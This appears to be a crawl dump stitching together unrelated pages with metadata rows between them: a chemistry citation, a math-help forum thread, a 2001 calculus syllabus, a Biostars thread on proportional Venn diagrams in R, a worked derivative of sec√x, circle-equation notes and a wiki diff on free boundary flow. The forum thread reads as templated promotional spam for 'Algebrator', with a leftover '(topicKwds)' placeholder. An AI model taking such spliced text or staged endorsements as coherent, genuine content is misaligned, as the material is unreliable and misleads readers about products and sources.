1. Sources: National Institute of Standards and Technology’s Chemistry WebBook, http://webbook.nist.gov/chemistry; D. R. Lide, ed., CRC Handbook of Chemistry and Physics, 89th ed. (Boca Raton, FL: CRC Press, 2008); J. A. Dean, ed., Lange’s Handbook of Chemistry, 14th ed. (New York: McGraw-Hill, 1992).
definition | 4,037 | 13,376 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.75 | 3 | CC-MAIN-2024-33 | latest | en | 0.904882 |
https://algebra-calculator.com/algebra-calculator-program/radicals/algebra-2-with-trigonometry.html | 1,726,675,110,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700651899.75/warc/CC-MAIN-20240918133146-20240918163146-00269.warc.gz | 75,836,394 | 11,052 | Algebra Tutorials!
Home Solving Quadratic Equations by Completing the Square Graphing Logarithmic Functions Division Property of Exponents Adding and Subtracting Rational Expressions With Like Denominators Rationalizing the Denominator Multiplying Special Polynomials Functions Solving Linear Systems of Equations by Elimination Solving Systems of Equation by Substitution and Elimination Polynomial Equations Solving Linear Systems of Equations by Graphing Quadratic Functions Solving Proportions Parallel and Perpendicular Lines Simplifying Square Roots Simplifying Fractions Adding and Subtracting Fractions Adding and Subtracting Fractions Solving Linear Equations Inequalities in one Variable Recognizing Polynomial Equations from their Graphs Scientific Notation Factoring a Sum or Difference of Two Cubes Solving Nonlinear Equations by Substitution Solving Systems of Linear Inequalities Arithmetics with Decimals Finding the Equation of an Inverse Function Plotting Points in the Coordinate Plane The Product of the Roots of a Quadratic Powers Solving Quadratic Equations by Completing the Square
Try the Free Math Solver or Scroll down to Tutorials!
Depdendent Variable
Number of equations to solve: 23456789
Equ. #1:
Equ. #2:
Equ. #3:
Equ. #4:
Equ. #5:
Equ. #6:
Equ. #7:
Equ. #8:
Equ. #9:
Solve for:
Dependent Variable
Number of inequalities to solve: 23456789
Ineq. #1:
Ineq. #2:
Ineq. #3:
Ineq. #4:
Ineq. #5:
Ineq. #6:
Ineq. #7:
Ineq. #8:
Ineq. #9:
Solve for:
Please use this form if you would like to have this math solver on your website, free of charge. Name: Email: Your Website: Msg:
algebra 2 with trigonometry prentice hall question | test | problems
Related topics:
how do i graph an ellipse on a ti84 plus | mathematical trivia | simplify complex rational expressions | simplifying radical function | step by step graphing slopes | worksheet on imaginary numbers | mathematical worksheets | matlab code for solving parabolic differential equation | polynomial excel solver | blitzer college algebra teachers edition | permutation combination
Author Message
Co5ej
Registered: 27.08.2001
From: Class M Planet
Posted: Tuesday 26th of Dec 19:11 1. Hello Everyone Can someone out there show me a way out? My algebra teacher gave us algebra 2 with trigonometry prentice hall question | test | problems problem today. Normally I am good at long division but somehow I am just stuck on this one assignment. I have to turn it in by this Friday but it looks like I will not be able to complete it in time. So I thought of coming online to find assistance. I will really be thankful if someone can help me work this (topicKwds) out in time.
nxu
Registered: 25.10.2006
From: Siberia, Russian Federation
Posted: Wednesday 27th of Dec 18:12 The best way to get this done is using Algebrator software. This software offers a very fast and easy to learn process of doing math problems. You will definitely start loving algebra once you use and see how effortless it is. I remember how I used to have a hard time with my Algebra 1 class and now with the help of Algebrator, learning is so much fun. I am sure you will get help with algebra 2 with trigonometry prentice hall question | test | problems problems here.
Xane
Registered: 16.04.2003
From: the wastelands between insomnia and clairvoyance
Posted: Thursday 28th of Dec 08:40 You are so right Algebrator it’s the best math software I’ve ever tried!. It really helped me with one reducing fractions quiz . All you have to do it’s to copy the problem , click on “SOLVE” and it gives you a step by step solution . I really like this software and always recommend it. I have used it through several math classes!
vlaggil12
Registered: 25.11.2003
From:
Posted: Friday 29th of Dec 07:29 I just hope this tool isn’t very complex . I am not so good with the computer stuff. Can I get the product details , so I know what it has to offer?
DoniilT
Registered: 27.08.2002
From:
Posted: Friday 29th of Dec 17:52 I suggest using Algebrator. It not only helps you with your math problems, but also provides all the required steps in detail so that you can improve the understanding of the subject.
daujk_vv7
Registered: 06.07.2001
From: I dunno, I've lost it.
Posted: Saturday 30th of Dec 11:09 It is really good if you think so. You can find the software here https://algebra-calculator.com/scientific-notation.html. | 1,078 | 4,432 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.375 | 3 | CC-MAIN-2024-38 | latest | en | 0.829597 |
https://flashman.neocities.org/Courses/m110sum01 | 1,702,016,644,000,000,000 | text/html | crawl-data/CC-MAIN-2023-50/segments/1700679100724.48/warc/CC-MAIN-20231208045320-20231208075320-00386.warc.gz | 300,531,454 | 9,828 | Martin Flashman's Courses
Math 110 Calculus II Summer, '01
Current as of 7-31-01
MTWR 12:00-13:15 SH 128 [Occasionally R SH 118]
Summer, 2001 Problem Assignments(Tentative as of 6-02-01) M.FLASHMAN
MATH 110 : CALCULUS II Stewart's Calculus 4th ed'n.
(*= interesting but optional)
Assignments and recommended problems I 6/5--> Background Reality Check 6/5 -->IV.D 1-11 odd 23. 24 6/6--> 4.10. 43, 45, 47, 48, 51, 52 6/7 -->10.2 (i) 2-6, 9, 11, *15 6/7 --> (ii) 21, 23 6/6-> IV.E 5-9 odd (a,b), 20 21,24 6/7 ->Read pp 416-422 exponential functions, I.F.2 , 428-430 (review of logs) 6/7 -->I.F.2 3, 4 6/11-> Read VI.A, do7.2 (i) 29, 33, 34, 37, 47-51, 57, 61, 63, 53 6/12-> (ii) 60, 62, 70, 71-77 odd, 79, 80, 85, 86 6/11-> 7.3 Review of logs 3-17 odd, 31, 33, 35, 41, 47, 59-61, *78 6/11-> Reality Quiz #1 (Pick up at Library 48) 6/12--> Read VI.B. 6/12 -> 7.4 (i) 3-9 odd, 25, 28, 8, 22 6/12-> (ii) 15, 13, 35, 52 6/13-> Log diff'n (iii) 45-47, 53, 58, *64 6/13 -> Integration (iv) 65 - 71 odd 6/13 --> VI.B: 13,14 6/14--> Read VI.C 6/14 --> p468 :19, 23, 33, 37, 51 6/14 -> Read about the inverse tangent function on p472-3. Do:7.5 , 2a,3a,5b, 16 Assignments and recommended problems II 6/18--> VI.D 1-4; 9-13; 21 *(22,23) 6/18--> 7.5 (i) 25-27,34,38, *58 (ii) 59, 62, 64, 67, 69, 70, 74*, 75* (iii) 22, 23, 24, 29, 20, 47, 48, 63, 68 6/19--> Read VII.C 6/19--> 8.1 ( integration by parts) (i) 1-11 odd; 33, 51, 54 6/20--> (ii) 15, 21, 23, 25, 29, 30, 41, 42, 45, 46 6/20--> 10.3 (separation of variables) 1,3,4,7, 9, 10, 15 6/21 --> 10.4. (growth/decay models) (i) 1-7 odd ; 6/21 --> (ii) 9-11; 6/25-> (iii) 13,14, 17 6/21-> 10.5 (logistic models) 1, 5, *(11,12 POW?) 6/25-> 8.7 (numerical integration) (i) 1,4, 7a, 11(a,b), 27 ( n= 4, 8), 33a 6/27-> (simpson's method) (ii) 7b, 11c, 31, 32, 35, 36, *44, 29 More help on Simpson's rule, etc can be found in V.D
Assignments and recommended problems III
6/25-> Begin to Read VII.F(rational functions) 6/26 -> 8.4 (i) 13,14, 29 6/28-> (ii) 15, 16, 17, 20, 21 changed 6/26 7/9-> (iii) 25, 31, 35, 36, 62 6/26-> 8.8 (improper integrals) (i) 3, 5,7,8,9, 13,21, 41 6/27-> (ii) 27-30, 33,34, 37,38 7/2 -> (iii) 49, 51, 55, *60, 61, 57, 71 7/9 ->Read IXA 7/10 -> IXA: 1-3, 4, 6, 8, 9, 10 7/10 -> Read IX B 7/11-12-> IX B: Problems 1,2,4, 5, 7, 11, 13,14, *23 7/12->IX.C: (i) 1-5 7/12->IX.C (ii) 6-8 7/13-> IX.C (iii) 11,13,15-17 7/16-> IX.D: 1,3,5,8,10, 14, 15 7/17->read 12.1 pp 727-729, examples 5-8 (sequences converge)also X.A 7/18-> 12.1: 3-23 odd 7/18 -> read 12.2 pp 738 -741 (series- geometric series) 7/19-> 12.2 (i) (series- geometric series): 3, 11-15, 35-37, *51 7/19 -> read 12.2 pp 742-745 7/23->(ii) 21-31 odd, 41- 45, 49, 50 7/23-> read 12.3: 7/24-> (i) 1, 3-7 7/24-> (ii) 9-15 odd 7/23 Optional: Read X.B1_4 7/17 -> 8.2 (trig integrals) (i) 1-5, 7-15 odd 7/23-> (ii) 21-25 odd, 33, 34, 45, 44, 57, *(59-61) 8.3 (trig subs) 7/30-> (i) pp 517-519 middle: 2,4,7,11 7/31-> (ii) pp 519-520: 3,6, 19, 9 8/1-> (iii) pp 521-522: 1,5, 21, 23, 27, 29 Ch 8 review problems: 1-11 odd, 33, 35
Assignments and recommended problems IV
7/30-> Read 7.7 p 487 note 3 : (i) 5-11 odd 7/31-> Read examples 1-5: (ii) 21, 27, 29, 15, 23, 18, 33 8/2 -> read examples 6-8 (iii) 39-43 odd; 47-51 odd, 67, 71 8/6-> (iv) 55, 57; 63; 69, *96, *97 8/7-> 11.6 : read pp 709-10 (i) 1-7 odd; 27, 29 8/7-> read pp 711-12(ii) 11-14; 31,33 -> (iii) 19-22; 37,39; 47, *50 8/7-> 9.1 : 1,3; 19, 21 9.2?: 5, 7, 9 9.5 : 1, 3, *7 7/31?-> 12.4: (comparison test) (i) 3-7 -> (ii) 9-17 odd 7/30-> 12.6: Use the ratio test to test for convergence. 2, 17,23,20, 29, 31, *34 7/30-> read 12.6 through example 5. 8/1->12.6: 3-9 odd, 19,20, *(31,32), 33, 35 8/1-> Optional: Read X.B5 7/30 -> 12.5: 3-11 odd; 21, 23, 27, *35 8/2-> 12.7: 1-11 odd 8/2-> Optional: Read XI.A 8/6-> 12.8: 3-11 odd 8/6 Read only->12.9 ->12.9: 3-9 odd, 25, 29 8/8->12.10: 31,35,56, 41, 45, 57, 58
Week Mon. Tues. Wed. Thurs. 1 6/4 Introduction & Review 6/5 Differential equations and Direction Fields IV.D 6/6 Euler's Method IV.E 6/7 7.2 The natural exponential function. I.F.2; e and y = exp(x) Models for (Population) Growth and Decay: y' = k y; y(0)=1. k = 1.VI.A 2 6/11 More on the exponential function.VI.A The natural logarithm function.I.F.2 y = ln (x) and ln(2) 6/12 Models for learning. y' = k / x; y(1)=0. k =1; VI.B logarithmic differentiation. 7.3 & 7.4, 7.2* 6/13. Connections: 7.4* VI.C ln(exp(x)) = x exp(ln(y)) = y The Big Picture 6/14 Breath...Arctan.VI.D 3 6/18 Begin Integration by parts. 8.1 and VII.C. 6/19 More integration by parts. Separation of variables. 10.3 6/20 Growth/Decay Models. 10.4 . The Logistic Model 10.5 6/21 Numerical Integration.(Linear) Begin Integration of rational functions VII.F 4 6/25 Integration of rational functions I. Improper Integrals I 6/26 Improper Integrals II. More Numerical Integration. (quadratic) V.D 6/27 Rational functions II. 6/28 Not on Exam I Improper Integrals III 5 7/2 NOT ON EXAM I Rational functions III. VII.F 7/3Exam I Covers [6/4,6/27] 7/4 Indep. Day NO CLASS 7/5 NO Class (Replaced by class on 7/13) 6 7/9 Taylor Theory I. IXA Taylor theory II.Applications: Definite integrals and DE's 7/10 Taylor theory III.IXB. 7/11 Taylor theory IV. IX.C 7/12 IX.D Finish Taylor theory. Discuss Math'l Induction. 7/13 Finish Taylor theory. Makeup class for 7/5 7 7/16 Trig Integrals I [sin&cos] 7/17Begin Sequences and series X.A Geometric sequences. Sequence properties. 7/18 Use of absolute values. Incr&bdd above implies convergent. Geometric series. 7/19 . Trig Integrals II [sec&tan] Geometric and Taylor Series. Series Conv. I divergence test 8 7/23 NOT ON EXAM II Series Conv. II positive series & Integral test 7/24 NOT ON EXAM II Series Conv. III Positive comparison & ratio test 7/25 Exam II Covers [6/22,7/19] 7/26 Trig substitution I (sin) L'Hopital's rule I Series Conv. IV(alt Series) 9 7/30 Trig substitution(tan) Inverse Functions (Arcsin) L'Hopital's rule II 7/31 Trig substitution III ( sec) Series Conv. V Absolute conv and general ratio test 8/1 L'Hopital III Power Series I (Using the ratio test - convergence)XI.A 8/2 Series Conv.VI cond'l conv and alternating series L'Hopital IV Power Series II (Interval of convergence)XI.A 10 8/6 Power Series III (DE's and Calculus) Conics I Intro to loci-analytic geometry issues (parabolae, ellipses) Arc Length VIII.B 8/7 L'Hopital IV (proof?) Conics II hyperbolae 8/8 Review & Summary of Series Calculus. Probability and calculus? 8/9 Final Examination
Back to Martin Flashman's Home Page :) Back to HSU Math. Department :}
Summer, 2001 COURSE INFORMATION M.FLASHMAN
MATH 110 : CALCULUS II MTWR 12:00-13:15 P.M. SH 128
OFFICE: Library 48 PHONE:826-4950
Hours (Tent.): 1:30-2:20 AND BY APPOINTMENT or by CHANCE!
E-MAIL:flashman@axe.humboldt.edu WWW: http://flashman.neocities.org/
***PREREQUISITE: Math 109 or permission.
• TEXTS: Required: Calculus 4th Edition by James Stewart.(Brooks/Cole, 1999)
• Excerpts from Sensible Calculus by M. Flashman as available from Professor Flashman on the web..
• Catalog Description: Logarithmic and exponential functions, inverse trigonometric functions, techniques of integration, infinite sequences and series, conic sections, polar coordinates.
• SCOPE: This course will deal with a continuation of the theory and application of what is often described as "integral calculus" as well as the calculus of infinite series. These are contained primarily in Chapters 7 through 11 of Stewart. Supplementary notes and text will be provided as appropriate.
• TESTS AND ASSIGNMENTS There will be several tests in this course. There will be several reality check quizzes and cooperative problem assignments, and two midterm exams.
• Homework assignments are made regularly and should be passed in on the due date.
• Homework is graded Acceptable/Unacceptable with problems to be redone. Redone work should be returned for grading promptly.
***Exams will be announced at least one week in advance.***
• THE FINAL EXAMINATION WILL ON AUGUST 9th, 12:00 to 1:50.
• The final exam will be comprehensive, covering the entire semester.
• MAKE-UP TESTS WILL NOT BE GIVEN EXCEPT FOR VERY SPECIAL CIRCUMSTANCES!
• It is the student's responsibility to request a makeup promptly.
• *** DAILY ATTENDANCE SHOULD BE A HABIT! ***
• Partnership Activities: Every two weeks your partnership will be asked to submit a summary of what we have covered in class. (No more than two sides of a paper.) These may be organized in any way you find useful but should not be a copy of your class notes. I will read and correct these before returning them. Partners will receive corrected photocopies.
• Your summaries will be allowed as references at the final examination only.
Each week partnerships will submit a response to the "problem/activity of the week." These problems will be special problems distributed in class (and on this web page) or selected starred problems from the assignment lists.
All cooperative problem work will be graded 5 for well done; 4 for OK; 3 for acceptable; or 1 for unacceptable; and will be used together with participation in writing summaries in determining the 80 points allocated for cooperative assignments.
• GRADES: Final grades will be determined taking into consideration the quality of work done in the course as evidenced primarily from the accumulation of points from tests, various individual and cooperative assignments.
• The final examination will be be worth either 200 or 300 points determined by the following rule:
• The final grade will use the score that maximizes the average for the term based on all possible points.
2 Midterm exams 200 points Homework 50 points Reality Quizzes 100 points Cooperative work 50 points Final exam 200/300 points TOTAL 600/700 points
The total points available for the semester is either 600 or 700. Notice that 200 of these points are not from examinations, so regular participation is essential to forming a good foundation for your grades as well as your learning.
MORE THAN 3 ABSENCES MAY LOWER THE FINAL GRADE FOR POOR ATTENDANCE.
** See the course schedule for the dates related to the following:
No drops will be allowed without "serious and compelling reasons" and a fee.
No drops will be allowed.
Students wishing to be graded with either CR or NC should make this request to the Adm & Rec office in writing or by using the web registration procedures.
See the summer course list for a full list of relevant days.
• Technology: The computer or a graphing calculator can be used for many problems.
• We will use Winplot. Winplot is freeware and may be downloaded from Rick Parris's website or directly from one of these links for Winplot1or Winplot2. This software is small enough to fit on a 3.5" disc and can be used on any Windows PC on campus. You can find introductions to Winplot on the web.
• Graphing Calculators: Graphing calculators are welcome and highly recommended. Most graphing calculators will be able to do much of this course's work. I may use the HP48G for some in-class work but will generally use Winplot. HP48G's will be available for students to borrow for the term through me by arrangement with the Math department. Supplementary materials will be distributed if needed. If you would like to purchase one or have one already, let me know.
• I will try to help you with your own technology during the optional "5th hour"s, or by appointment (not in class). Students wishing help with any graphing calculator should plan to bring their calculator manual with them to class..
• Optional "5th hour"s: Many students find the second semester of calculus difficult because of weakness in their Calculus I and pre-calculus background skills and concept. A grade of C in Math 109 might indicate this kind of weakness. Difficulties that might have been ignored or passed over in previous courses can be a major reason for why things don't make sense now. I will organize and support additional time with small (or larger) groups of students for whom some additional work on these background areas may improve their understanding of coursework. Later in the semester optional hours will be available to discuss routine problems from homework and reality check quizzes as well as using technology. These sessions should be especially useful for students having difficulty with the work and wishing to improve through a steady approach to mastering skills and concepts. | 4,465 | 12,992 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.3125 | 3 | CC-MAIN-2023-50 | longest | en | 0.361861 |
https://www.biostars.org/p/260615/ | 1,582,980,793,000,000,000 | text/html | crawl-data/CC-MAIN-2020-10/segments/1581875149238.97/warc/CC-MAIN-20200229114448-20200229144448-00249.warc.gz | 673,752,495 | 7,626 | Question: venneuler in R not drawing to proportion
1
2.7 years ago by
ildem50
IGH - Montpellier
ildem50 wrote:
Hi, I have been trying to draw a proportional venn diagram in R. I find that it is in no way proportional, it doesnt even reflect the truth. These are not my numbers but say they were: vd <- venneuler(c(A=10, B=6, "A&B"=6)) plot(vd) This, in theory, should draw B that is covered by A (since the overlap is 6, and the size of B is 6). This is not the case. It draws two sets A and B with a large overlap, but not a complete overlap.
What am I doing wrong? How can I draw something that represents the data?
many thanks
venneuler venn R • 2.8k views
modified 2.7 years ago • written 2.7 years ago by ildem50
2
In the past I've had similar issues with Venn diagrams and just switched to Upsets. UpSetR is a great implementation, see here for examples: https://github.com/hms-dbmi/UpSetR
I can't help much with Venneuler but I like BioVenn for drawing proportional Venn Diagrams.
A while back, I came up with a visualization called an Eulergrid that has been copied in some other packages. It's not a Venn, but it shows set overlaps in a proportional way.
1
2.7 years ago by
EMBL Heidelberg, Germany
Jean-Karim Heriche21k wrote:
Some combinations of set intersections are impossible to represent exactly with circles so some heuristics and approximations have to be used. Unfortunately, what the venneuler package uses leads to problems with large overlaps. The VennDiagram package seems to be doing a better job in this case.
1
2.7 years ago by
ildem50
IGH - Montpellier
ildem50 wrote:
Thank you all! I trid other packages and it works with any one of them!
It works perfectly well with "eulerr" package on R.
library(eulerr)
vd <- euler(c(A=10, B=6, "A&B"=6))
plot(vd)
0
2.7 years ago by
theobroma221.1k
theobroma221.1k wrote:
You have to know a little basic set theory. Suppose you want to know the size of set A and set B. What is the union between A and B, denoted as A U B?
Using absolute terms, A U B= A + B - the intersection of A & B, or A 'upside down U' B.
You will also need to know how to do this for the VennDiagram package!! | 600 | 2,166 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.640625 | 3 | CC-MAIN-2020-10 | latest | en | 0.956442 |
http://www.enotes.com/homework-help/find-derivative-sec-x-using-first-principle-method-341026 | 1,462,225,391,000,000,000 | text/html | crawl-data/CC-MAIN-2016-18/segments/1461860117783.16/warc/CC-MAIN-20160428161517-00139-ip-10-239-7-51.ec2.internal.warc.gz | 480,901,552 | 11,288 | # Find the derivative of sec√x using first principle method.
Posted on
`y = sec(sqrt(x))`
`y' = lim_(h-gt0) (sec(sqrt(x+h)) - sec(sqrt(x)))/h`
`y' = lim_(h-gt0) (1/cos(sqrt(x+h)) - 1/cos(sqrt(x)))/h`
`y' = lim_(h-gt0) ((cos(sqrt(x)) - cos(sqrt(x+h)))/(cos(sqrt(x+h)) xx cos(sqrt(x))))/h`
`y' = lim_(h-gt0) ((cos(sqrt(x)) - cos(sqrt(x+h)))/(h xxcos(sqrt(x+h)) xx cos(sqrt(x))))`
`y' = lim_(h-gt0) (-2xxsin((sqrt(x)+sqrt(x+h))/2)xxsin((sqrt(x) -sqrt(x+h))/2))/(h xxcos(sqrt(x+h)) xx cos(sqrt(x)))`
`y' = lim_(h-gt0) (2xxsin((sqrt(x+h)+sqrt(x))/2)xxsin((sqrt(x+h) -sqrt(x))/2))/(h xxcos(sqrt(x+h)) xx cos(sqrt(x)))`
`y' = lim_(h-gt0) (2xxsin((sqrt(x+h)+sqrt(x))/2))/(cos(sqrt(x+h)) xx cos(sqrt(x))) xx lim_(h->0)sin((sqrt(x+h) -sqrt(x))/2)/h`
We can evaluate the first limit as,
`y' = (2xxsin((sqrt(x+0)+sqrt(x))/2))/(cos(sqrt(x+0)) xx cos(sqrt(x))) xx lim_(h->0)sin((sqrt(x+h) -sqrt(x))/2)/h`
`y' = (2xxsin((sqrt(x)+sqrt(x))/2))/(cos(sqrt(x)) xx cos(sqrt(x))) xx lim_(h->0)sin((sqrt(x+h) -sqrt(x))/2)/h`
`y' = (2xxtan(sqrt(x)))/(cos(sqrt(x))) xx lim_(h->0)sin((sqrt(x+h) -sqrt(x))/2)/h`
`y' = 2xxtan(sqrt(x))sec(sqrt(x)) xx lim_(h->0)sin((sqrt(x+h) -sqrt(x))/2)/h`
We will find the otehr limit separately as below.
` lim_(h->0)sin((sqrt(x+h) -sqrt(x))/2)/h`
`= lim_(h->0)sin(((sqrt(x+h) -sqrt(x))xx(sqrt(x+h)+sqrt(x)))/(2xx(sqrt(x+h)+sqrt(x))))/h`
`=lim_(h->0)sin(((sqrt(x+h) -sqrt(x))xx(sqrt(x+h)+sqrt(x)))/(2xx(sqrt(x+h)+sqrt(x))))/h`
`=lim_(h->0)sin(((x+h)-x)/(2xx(sqrt(x+h)+sqrt(x))))/h`
`=lim_(h->0)sin((h)/(2xx(sqrt(x+h)+sqrt(x))))/h`
When h-> 0, `h/(2xx(sqrt(x+h)+sqrt(x)) )-> 0`
Therefore, we can change the limit as below,
`=lim_((h/(2xx(sqrt(x+h)+sqrt(x))) )-gt0)sin((h)/(2xx(sqrt(x+h)+sqrt(x))))/(h/(2xx(sqrt(x+h)+sqrt(x)))) xx 1/(2xx(sqrt(x+h)+sqrt(x)))`
This gives,
`=lim_((h/(2xx(sqrt(x+h)+sqrt(x))) )-gt0)sin((h)/(2xx(sqrt(x+h)+sqrt(x))))/(h/(2xx(sqrt(x+h)+sqrt(x)))) xx 1/(2xx(sqrt(x+h)+sqrt(x))) = 1 xx 1/(2xx2sqrt(x))`
Therefore,
` lim_(h->0)sin((sqrt(x+h) -sqrt(x))/2)/h = 1/(4sqrt(x))`
Therefore,
`y' = 2xxtan(sqrt(x))sec(sqrt(x)) xx lim_(h->0)sin((sqrt(x+h) -sqrt(x))/2)/h`
`y' = 2xxtan(sqrt(x))sec(sqrt(x)) xx 1/(4sqrt(x)) `
This gives,
`y' = (sec(sqrt(x))tan(sqrt(x)))/(2sqrt(x))`
Which is the same answer you get via normal differentiation. | 947 | 2,295 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.90625 | 4 | CC-MAIN-2016-18 | longest | en | 0.265775 |
https://estebantorreshighschool.com/useful-about-equations/circle-equation-general-form.html | 1,624,480,819,000,000,000 | text/html | crawl-data/CC-MAIN-2021-25/segments/1623488540235.72/warc/CC-MAIN-20210623195636-20210623225636-00394.warc.gz | 227,998,753 | 29,817 | ## How do you find the general form of a circle?
The General Form of the equation of a circle is x2 + y2 + 2gx +2fy + c = 0. The centre of the circle is (-g, -f) and the radius is √(g2 + f2 – c). Given a circle in the general form you can complete the square to change it into the standard form.
## How do you write an equation of a circle in standard form?
The standard form of a circle’s equation is (x-h)² + (y-k)² = r² where (h,k) is the center and r is the radius. To convert an equation to standard form, you can always complete the square separately in x and y.
## What is the general form?
General form: Ax + By + C = 0 General form is another way to express line equations. Here, we will learn how to determine the general form of line equations, and how to rewrite equations into general form. We will also use general form to look for slope and intercepts.
## How do you find the radius of a circle in general form?
The center-radius form of the circle equation is in the format (x – h)2 + (y – k)2 = r2, with the center being at the point (h, k) and the radius being “r”. This form of the equation is helpful, since you can easily find the center and the radius.
## What is general form in math?
The formula 0 = Ax + By + C is said to be the ‘general form’ for the equation of a line. A, B, and C are three real numbers. Once these are given, the values for x and y that make the statement true express a set, or locus, of (x, y) points which form a certain line.
## How do you find the equation of a line?
The equation of a line is typically written as y=mx+b where m is the slope and b is the y-intercept.
## What are all the formulas for a circle?
Formulas Related to Circles
You might be interested: Using the equation for the final velocity in terms of masses and initial velocity
Diameter of a CircleD = 2 × r
Circumference of a CircleC = 2 × π × r
Area of a CircleA = π × r2
## Is circle a function?
A circle is a curve. It can be generated by functions, but it’s not a function itself. Something to careful about is that defining a circle with a relation from x to y is NOT a function as there is multiple points with a given x-value, but it can be defined with a function parametrically.
## How do you show an equation represents a circle?
Simple. Take (positive) sqrt on both sides, then equation says distance between all points (x,y) from a fixed point (h,k) is r. This clearly indicates figure is a circle. represents a circle of center C=(α,β)=(−a/2,−b/2) iff α2+β2−c=r2>0 , and r is the radius.
## Is general and standard form the same?
General form will typically be in the form “y=mx+b”. M is the slope of the graph, x is the unknown, and b is the y-Intercept. this means that the product of a number and x added to b will equal y. Standard form will always be “x+y= a number value.” so, let’s get some practice. | 745 | 2,862 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.625 | 5 | CC-MAIN-2021-25 | latest | en | 0.914289 |
http://m.thermalfluidscentral.org/encyclopedia/index.php?title=Free_boundary_flow&diff=6677&oldid=5870 | 1,582,484,201,000,000,000 | text/html | crawl-data/CC-MAIN-2020-10/segments/1581875145839.51/warc/CC-MAIN-20200223185153-20200223215153-00118.warc.gz | 89,255,713 | 10,376 | # Free boundary flow
(Difference between revisions)
Revision as of 21:24, 5 July 2010 (view source)← Older edit Current revision as of 09:28, 12 July 2010 (view source) (4 intermediate revisions not shown) Line 1: Line 1: - [[Image:chapter6_13.jpg|thumb|400 px|alt=Figure 6.14 Examples of free boundary flows |Figure 6.14 Examples of free boundary flows.]] + [[Image:Examples of free boundary flows.jpg|thumb|400 px|alt=Figure 1 Examples of free boundary flows |Figure 1 Examples of free boundary flows.]] - [[Image:chapter6_14.jpg|thumb|400 px|alt=Figure 6.15 Physical model of natural convection from a line heat source |Figure 6.15 Physical model of natural convection from a line heat source.]] + [[Image:Physical model of natural convection from a line heat source.jpg|thumb|400 px|alt=Figure 2 Physical model of natural convection from a line heat source |Figure 2 Physical model of natural convection from a line heat source.]] - The common feature of external convection discussed in the preceding subsections is that the flows are always near a heated (or cooled) solid wall. For some other applications, however, the thermally induced flow occurs without presence of a solid wall and is referred to as free boundary flow. When a point or line heat source is immersed into a bulk fluid, the fluid near the heat source is heated, becomes lighter and rises to form a plume [see Fig. 6.14 (a)]. The plume generated by a point heat source is axisymmetric, but a line heat source will create a two-dimensional plume. A thermal is a column of rising air near the ground due to the uneven solar heating of the ground surface. The lighter air near the ground rises and cools due to expansion [see Fig. 6.14(b)]. + The common feature of external convection discussed in the preceding subsections is that the flows are always near a heated (or cooled) solid wall. For some other applications, however, the thermally induced flow occurs without presence of a solid wall and is referred to as free boundary flow. When a point or line heat source is immersed into a bulk fluid, the fluid near the heat source is heated, becomes lighter and rises to form a plume [see Fig. 1 (a)]. The plume generated by a point heat source is axisymmetric, but a line heat source will create a two-dimensional plume. A thermal is a column of rising air near the ground due to the uneven solar heating of the ground surface. The lighter air near the ground rises and cools due to expansion [see Fig. 1(b)]. - Let us consider now the two-dimensional free boundary flow induced by a line heat source (see Fig. 6.15). Since the problem is symmetric about x = 0, only half of the domain ($x>0$) needs to be studied. In the coordinate system shown in Fig. 6.15, the continuity, momentum and energy equations are the same as those for natural convection near a vertical flat plate, eqs. (6.17), (6.20) and (6.21), respectively. The boundary conditions at $y\to \infty$ can still be described by eqs. (6.24) and (6.25). However, the boundary conditions at the centerline, $x=0$, should be changed to: + Let us consider now the two-dimensional free boundary flow induced by a line heat source (see Fig. 2). Since the problem is symmetric about x = 0, only half of the domain ($x>0$) needs to be studied. In the coordinate system shown in Fig. 2, the 